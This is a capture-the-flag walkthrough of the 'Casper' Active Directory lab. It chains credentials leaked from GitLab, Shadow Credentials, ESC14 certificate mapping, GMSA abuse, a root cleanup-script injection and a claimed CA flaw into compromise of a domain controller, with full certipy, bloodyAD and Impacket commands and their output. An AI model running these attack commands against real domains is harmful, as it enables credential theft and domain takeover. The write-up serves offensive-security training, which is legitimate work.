Casper is a Hard level Active Directory box running Windows Server 2025. Initial access comes from credentials leaked in a GitLab commit for a domain-joining script. From there the chain moves through Shadow Credentials, ESC14 (explicit certificate mapping via altSecurityIdentities), and GMSA password abuse to pivot across several accounts, before a Linux host with an arithmetic-injection bug in a root-run cleanup script leads to a keytab leak and, ultimately, CertiGhost (CVE-2026-54121) to compromise the Domain Controller.
Reconnaissance
Port Scanning
I start with a port scan across the scope. Two hosts stand out: a Linux box exposing SSH and HTTP, and a Windows Server 2025 Domain Controller with the usual AD services.
[INF] Current naabu version 2.6.1 (latest) [WRN] UI Dashboard is disabled, Use -dashboard option to enable [INF] Running CONNECT scan with non root privileges [INF] Running nmap scan on range 0: 10.1.107.104 10.1.116.226 -p 22,3389,389,88,80,135,53,445,139 [INF] Using custom nmap arguments: -sV [INF] Integrating nmap results for 10.1.107.104: 22/tcp (ssh 9.2p1 Debian 2+deb12u10 OpenSSH) 80/tcp (http nginx) [INF] Integrating nmap results for 10.1.116.226: 53/tcp (domain Simple DNS Plus) 88/tcp (kerberos-sec Microsoft Windows Kerberos) 135/tcp (msrpc Microsoft Windows RPC) 139/tcp (netbios-ssn Microsoft Windows netbios-ssn) 389/tcp (ldap Microsoft Windows Active Directory LDAP) 445/tcp (microsoft-ds) 3389/tcp (ms-wbt-server)
Leaked Credentials via GitLab
The HTTP port hosts a GitLab instance. Default credentials don’t work, but the instance exposes an “Explore” option that lists internal projects without needing to log in.
Browsing the exposed projects, I notice a user removed a file called automationtesting.sh.
Checking the file’s commit history reveals a credential in an earlier revision.
That credential doesn’t work against the domain directly, but it does let me log into the GitLab instance itself, where I find xjr‘s personal project.
Moving on to collecting ACLs, a plain LDAP bind is rejected. Channel binding is enforced and requires LDAPS.
1 2 3 4 5 6 7 8
➜ Casper rusthound -d casper.hsm -i 10.1.116.226 -u xjr -p '<REDACTED_PASSWORD>' --adcs --dns-tcp --old-bloodhound --zip --------------------------------------------------- Initializing RustHound at 21:30:59 on 08/07/26 Powered by g0h4n from OpenCyber ---------------------------------------------------
[2026-08-08T01:30:59Z INFO rusthound] Verbosity level: Info [2026-08-08T01:30:59Z ERROR rusthound::ldap] Failed to authenticate to CASPER.HSM Active Directory. Reason: LDAP operation result: rc=8 (strongerAuthRequired), dn: "", text: "00002028: LdapErr: DSID-0C090347, comment: The server requires binds to turn on integrity checking if SSL\TLS are not already active on the connection, data 0, v65f4"
Re-running with --ldaps succeeds and pulls down the full collection, including ADCS data.
➜ Casper rusthound -d casper.hsm -i 10.1.116.226 -u xjr -p '<REDACTED_PASSWORD>' --adcs --dns-tcp --old-bloodhound --zip --ldaps --------------------------------------------------- Initializing RustHound at 21:31:19 on 08/07/26 Powered by g0h4n from OpenCyber ---------------------------------------------------
[2026-08-08T01:31:19Z INFO rusthound] Verbosity level: Info [2026-08-08T01:31:19Z INFO rusthound::ldap] Connected to CASPER.HSM Active Directory! [2026-08-08T01:31:19Z INFO rusthound::ldap] Starting data collection... [2026-08-08T01:31:20Z INFO rusthound::ldap] All data collected for NamingContext DC=casper,DC=hsm [2026-08-08T01:31:20Z INFO rusthound::ldap] All data collected for NamingContext CN=Configuration,DC=casper,DC=hsm [2026-08-08T01:31:20Z INFO rusthound::json::parser] Starting the LDAP objects parsing... ⢀ Parsing LDAP objects: 45% [2026-08-08T01:31:20Z INFO rusthound::modules::adcs::parser] Found 12 enabled certificate templates [2026-08-08T01:31:20Z INFO rusthound::json::parser] Parsing LDAP objects finished! [2026-08-08T01:31:20Z INFO rusthound::json::checker] Starting checker to replace some values... [2026-08-08T01:31:20Z INFO rusthound::json::checker] Checking and replacing some values finished! [2026-08-08T01:31:20Z INFO rusthound::modules] Starting checker for ADCS values... [2026-08-08T01:31:20Z ERROR rusthound::modules::adcs::checker] Couldn't connect to server http://DC01.casper.hsm/certsrv/, please try manually and check for https access if EPA is enable. [2026-08-08T01:31:20Z INFO rusthound::modules] Checking for ADCS values finished! [2026-08-08T01:31:20Z INFO rusthound::json::maker] 10 users parsed! [2026-08-08T01:31:20Z INFO rusthound::json::maker] 65 groups parsed! [2026-08-08T01:31:20Z INFO rusthound::json::maker] 2 computers parsed! [2026-08-08T01:31:20Z INFO rusthound::json::maker] 1 ous parsed! [2026-08-08T01:31:20Z INFO rusthound::json::maker] 1 domains parsed! [2026-08-08T01:31:20Z INFO rusthound::json::maker] 1 cas parsed! [2026-08-08T01:31:20Z INFO rusthound::json::maker] 34 templates parsed! [2026-08-08T01:31:20Z INFO rusthound::json::maker] 2 gpos parsed! [2026-08-08T01:31:20Z INFO rusthound::json::maker] 21 containers parsed! [2026-08-08T01:31:20Z INFO rusthound::json::maker] .//20260807213120_casper-hsm_rusthound.zip created!
RustHound Enumeration Completed at 21:31:20 on 08/07/26! Happy Graphing!
Loading this into BloodHound shows that xjr has AddKeyCredentialLink rights over jags, who is a member of CasperCorpCertificateUsers.
Shadow Credentials Attack
AddKeyCredentialLink Abuse on jags
AddKeyCredentialLink lets me write to the msDS-KeyCredentialLink attribute of jags, which is exactly what the Shadow Credentials attack abuses. I add a rogue key credential, authenticate with the matching certificate via PKINIT, and recover the account’s NT hash.
➜ Casper certipy shadow auto -u 'xjr' -p '<REDACTED_PASSWORD>' -account jags -dc-host DC01.CASPER.HSM -ns 10.1.116.226 -ldap-port 636 Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Targeting user 'jags' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '298fc94322644dc08644fb41e3c8d030' [*] Adding Key Credential with device ID '298fc94322644dc08644fb41e3c8d030' to the Key Credentials for'jags' [*] Successfully added Key Credential with device ID '298fc94322644dc08644fb41e3c8d030' to the Key Credentials for'jags' [*] Authenticating as 'jags' with the certificate [*] Certificate identities: [*] No identities found in this certificate [*] Using principal: '[email protected]' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'jags.ccache' [*] Wrote credential cache to 'jags.ccache' [*] Trying to retrieve NT hashfor'jags' [*] Restoring the old Key Credentials for'jags' [*] Successfully restored the old Key Credentials for'jags' [*] NT hashfor'jags': <REDACTED_NTLM>
Enumerating Certificate Templates as jags
Since jags belongs to CasperCorpCertificateUsers, I check for classic ESC vulnerable templates or CA misconfigurations, but nothing comes back vulnerable.
➜ Casper certipy find -u jags -hashes :<REDACTED_NTLM> -dc-ip 10.1.116.226 -enabled -vulnerable -stdout Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 15 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for'casper-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for'casper-DC01-CA' [*] Checking web enrollment for CA 'casper-DC01-CA' @ 'DC01.casper.hsm' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Enumeration output: Certificate Authorities 0 CA Name : casper-DC01-CA DNS Name : DC01.casper.hsm Certificate Subject : CN=casper-DC01-CA, DC=casper, DC=hsm Certificate Serial Number : 2FF506A68F12D7BD47D9A5961999BB00 Certificate Validity Start : 2026-07-26 07:59:19+00:00 Certificate Validity End : 2125-07-26 08:09:18+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : CASPER.HSM\Administrators Access Rights ManageCa : CASPER.HSM\Administrators CASPER.HSM\Domain Admins CASPER.HSM\Enterprise Admins ManageCertificates : CASPER.HSM\Administrators CASPER.HSM\Domain Admins CASPER.HSM\Enterprise Admins Enroll : CASPER.HSM\Authenticated Users Certificate Templates : [!] Could not find any certificate templates
Going back to xjr‘s writable object rights, I notice xjr also has write access to altSecurityIdentities on jay.
Method 1: Overwrite altSecurityIdentities Overwrite the altSecurityIdentities attribute to compromise an account.
Enroll in a certificate with an attacker-controlled principal. Add an explicit certificate mapping from the certificate to the attribute. Authenticate as the target account.
Since I’m already enrolled as jags, I can request a certificate from that account and use it to forge an X509 mapping for jay.
[*] Requesting certificate via RPC [*] Request ID is 60 [*] Successfully requested certificate [*] Got certificate without identity [*] Certificate object SID is 'S-1-5-21-247086266-1178499391-1139383971-1105' [*] Saving certificate and private key to 'jags.pfx' [*] Wrote certificate and private key to 'jags.pfx'
Forging altSecurityIdentities for jay
I convert the PFX to PEM and read out the certificate’s serial number, which I need to build the X509:<I>...<SR>... mapping value.
I write this value into jay‘s altSecurityIdentities attribute.
1 2 3 4 5 6 7
➜ Casper bloodyAD --host 10.1.116.226 -d casper.hsm -u 'xjr' -p '<REDACTED_PASSWORD>'set object jay altSecurityIdentities -v 'X509:<I>DC=hsm,DC=casper,CN=casper-DC01-CA<SR>3f0000000000d3045ff284571f403f0000004d' [+] jay's altSecurityIdentities has been updated ➜ Casper bloodyAD --host 10.1.116.226 -d casper.hsm -u 'xjr' -p '<REDACTED_PASSWORD>' get object jay --attr altSecurityIdentities distinguishedName: CN=jay,CN=Users,DC=casper,DC=hsm altSecurityIdentities: X509:<I>DC=hsm,DC=casper,CN=casper-DC01-CA<SR>3f0000000000d3045ff284571f403f0000004d
Authenticating as jay
With the mapping in place, jags‘s certificate now maps to jay. I use it to request a TGT and recover jay‘s NT hash.
1 2 3 4 5 6 7 8 9 10 11 12 13
➜ Casper certipy auth -pfx jags.pfx -dc-ip 10.1.116.226 -domain casper.hsm -username jay Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities: [*] Security Extension SID: 'S-1-5-21-247086266-1178499391-1139383971-1105' [!] Could not find identity in the provided certificate [*] Using principal: '[email protected]' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'jay.ccache' [*] Wrote credential cache to 'jay.ccache' [*] Trying to retrieve NT hashfor'jay' [*] Got hashfor'[email protected]': aad3b435b51404eeaad3b435b51404ee:<REDACTED_NTLM>
jay has no interesting ACLs in BloodHound. Falling back to bloodyAD’s get writable, I find jay has write access to msDS-GroupMSAMembership on the casper-gmsa managed service account. This attribute controls which principals are allowed to read the GMSA’s managed password.
1 2 3
➜ Casper bloodyAD --host 10.1.116.226 -d casper.hsm -u 'jay' -p :<REDACTED_NTLM> get writable --detail distinguishedName: CN=casper-gmsa,CN=Managed Service Accounts,DC=casper,DC=hsm msDS-GroupMSAMembership: WRITE
Right now, no one is authorized to read the managed password.
➜ Casper certipy shadow auto -u 'casper-gmsa$' -hashes :<REDACTED_NTLM> -account carlito -dc-host DC01.CASPER.HSM -ns 10.1.116.226 -ldap-port 636 Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Targeting user 'carlito' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '97b4a6a8413f44b3aa482f0048377bc0' [*] Adding Key Credential with device ID '97b4a6a8413f44b3aa482f0048377bc0' to the Key Credentials for'carlito' [*] Successfully added Key Credential with device ID '97b4a6a8413f44b3aa482f0048377bc0' to the Key Credentials for'carlito' [*] Authenticating as 'carlito' with the certificate [*] Certificate identities: [*] No identities found in this certificate [*] Using principal: '[email protected]' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'carlito.ccache' [*] Wrote credential cache to 'carlito.ccache' [*] Trying to retrieve NT hashfor'carlito' [*] Restoring the old Key Credentials for'carlito' [*] Successfully restored the old Key Credentials for'carlito' [*] NT hashfor'carlito': <REDACTED_NTLM>
Abusing GSSAPI Authentication (SSH)
Checking what casper-gmsa$ can write, nothing new jumps out beyond what’s already been used.
distinguishedName: CN=casper-gmsa,CN=Managed Service Accounts,DC=casper,DC=hsm
Pre-authentication fails when I try to request a TGT for points using the account’s NT hash directly, so I pivot to cracking carlito‘s NT hash instead.
1 2 3 4
➜ Casper getTGT.py casper.hsm/points -no-pass -hashes :<REDACTED_NTLM> -principalType NT_ENTERPRISE Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Jul 28 08:28:34 2026 from 10.0.0.247 points@ip-10-1-107-104:~$ ls user.txt
Root
Arithmetic Expression Injection
I find a root-owned cleanup script that reads user-controlled input straight into a bash [[ ... -eq ... ]] arithmetic test. This is a classic injection point, since bash evaluates the right-hand side as an arithmetic expression rather than a plain string comparison.
➜ Casper echo"BQIAAAA3AAEA<-----------SNIP---------->AAg==" | base64 -d | tee krb5.keytab
Extracting the credential material from the keytab gives me the NIX01$ machine account’s NTLM and Kerberos keys.
1 2 3 4 5 6 7 8 9 10
➜ Casper keytabextract.py krb5.keytab [*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash. [*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction. [*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction. [+] Keytab File successfully imported. REALM : CASPER.HSM SERVICE PRINCIPAL : NIX01$/ NTLM HASH : <REDACTED_NTLM> AES-256 HASH : <REDACTED_AES256> AES-128 HASH : <REDACTED_AES128>
CertiGhost (CVE-2026-54121)
CertiGhost abuses a flaw in how the CA validates PKINIT certificate requests coming from a machine account. Using any existing computer account’s credentials (here, NIX01$), the tool stands up rogue LSA and LDAP servers to intercept and manipulate the enrollment flow, tricking the CA into issuing a Machine-template certificate for the Domain Controller itself (DC01$). It then authenticates with that forged certificate via PKINIT and recovers the DC’s own NT hash — effectively letting a low-privileged machine account impersonate the DC.
Checking the Machine Account Quota (MAQ) comes back as 0, which normally means I can’t add a fresh computer account to abuse for NIX01$‘s machine credentials.
Since NIX01$ is already a valid, existing computer account (and I now hold its credentials from the keytab), I don’t need MAQ at all. I use it directly with CertiGhost.